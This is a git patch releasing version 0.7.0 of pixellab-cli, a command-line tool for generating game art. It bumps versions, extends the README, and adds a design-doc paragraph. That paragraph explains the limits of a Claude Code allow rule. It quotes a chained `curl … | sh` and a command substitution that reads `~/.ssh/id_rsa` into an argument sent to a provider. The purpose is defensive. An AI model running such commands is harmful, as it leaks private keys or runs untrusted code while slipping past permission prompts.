From 3e26af1ed2f8dfcb614274d9db0eca4fb3aacbdf Mon Sep 17 00:00:00 2001 From: prode Date: Sun, 20 Sep 2026 22:48:50 -0300 Subject: [PATCH] chore(release): 0.7.0 Thirteen commits since v0.6.1, with new commands and one breaking change, so the minor moves rather than the patch: `pixellab-cli ui ""` is now `ui new ""`, because `ui` became a group with two free readers beside the paid generator. What is in it: a background comes off a composed image without pixelating it; a character state keeps the colours and a motion needs its state; one animation over many directions, joined on this side because the provider refuses to; the UI panel that was charged and never written is collected, and `ui list` and `ui show` read the account back for nothing; `object animate --into` adds the directions an animation lacks, which is the one place the provider does support extending one; and the harness is told to read a command's own help before naming its options. Two things ride along, both from the release review: - `specs/setup/design.md` now says what the allow rule this version starts writing does and does not reach. Claude Code splits a compound command and matches each part, so the rule does not carry what is chained after `pixellab-cli`; it does carry anything inside an argument, including a command substitution, and this tool sends its argument to a provider. That is a convenience about prompts rather than a boundary, and the file says so now. - The README's sampler names the `object` family, which is the headline of this release and was the one area it did not mention. Verified with scc validate --checks --pr: 1817 passed, 58 skipped, coverage 95.31%, ruff check and format clean, artifacts clean. `uv build --wheel` builds pixellab_cli-0.7.0-py3-none-any.whl, and the sdist and wheel were opened and hold only what the allowlist declares. --- README.md | 3 +++ pyproject.toml | 2 +- specs/setup/design.md | 11 +++++++++++ uv.lock | 2 +- 4 files changed, 16 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index 4b61fd9..0983b2f 100644 --- a/README.md +++ b/README.md @@ -129,6 +129,9 @@ pixellab-cli character animate -a walking --start-pose pixellab-cli interpolate chest-shut.png chest-open.png -a "the chest opens" pixellab-cli tiles terrain --lower grass --upper stone pixellab-cli tiles platform --material "stone bricks" +pixellab-cli object new "a wooden barrel" --directions 8 +pixellab-cli object animate -a "it rocks on its base and settles" +pixellab-cli object animate --into # the directions it lacks pixellab-cli edit knight.png -p "give him a blue cape" pixellab-cli inpaint knight.png --mask mask.png -p "a horned helmet" pixellab-cli ui new "wooden RPG panel with gold trim" diff --git a/pyproject.toml b/pyproject.toml index 5406fa7..0a95d6e 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pixellab-cli" -version = "0.6.1" +version = "0.7.0" description = "Generate 2D game assets from PixelLab and concept art from fal, from one command line." readme = "README.md" requires-python = ">=3.12" diff --git a/specs/setup/design.md b/specs/setup/design.md index 76e1512..d94933c 100644 --- a/specs/setup/design.md +++ b/specs/setup/design.md @@ -114,6 +114,17 @@ it is reported with the paths that were written before it (R1.6, R1.10). A globa install writes the rule to `~/.claude/settings.json`, so it is every project rather than this one — the report names the path it wrote, which is where that shows. +**What the rule reaches, exactly.** Claude Code splits a compound command on `&&`, +`||`, `;`, `|`, `|&`, `&` and newlines, and every subcommand has to match a rule of its +own — so `pixellab-cli sprite "x" && curl … | sh` is *not* carried by this rule, and the +`curl` is prompted for as it would be without it. What the rule does carry is anything +inside the argument, because `*` matches any text: a command substitution in a +description — `pixellab-cli --yes sprite "$(cat ~/.ssh/id_rsa)"` — matches, and this tool +sends its description to a provider. That is the shape of the exposure and it is worth +saying plainly: the rule is a convenience about prompts, not a boundary around what an +argument may contain. No allow rule can be that boundary; a `PreToolUse` hook is the +only mechanism that inspects a command before the rules are consulted. + The read is guarded the same way the write is (R1.7). Every writer here reads the file before it writes one, so refusing a link only at the write meant the read had already followed one: a settings file in a cloned repository is a path somebody else chose. The diff --git a/uv.lock b/uv.lock index d76ceff..d6340f0 100644 --- a/uv.lock +++ b/uv.lock @@ -426,7 +426,7 @@ wheels = [ [[package]] name = "pixellab-cli" -version = "0.6.1" +version = "0.7.0" source = { editable = "." } dependencies = [ { name = "fal-client" },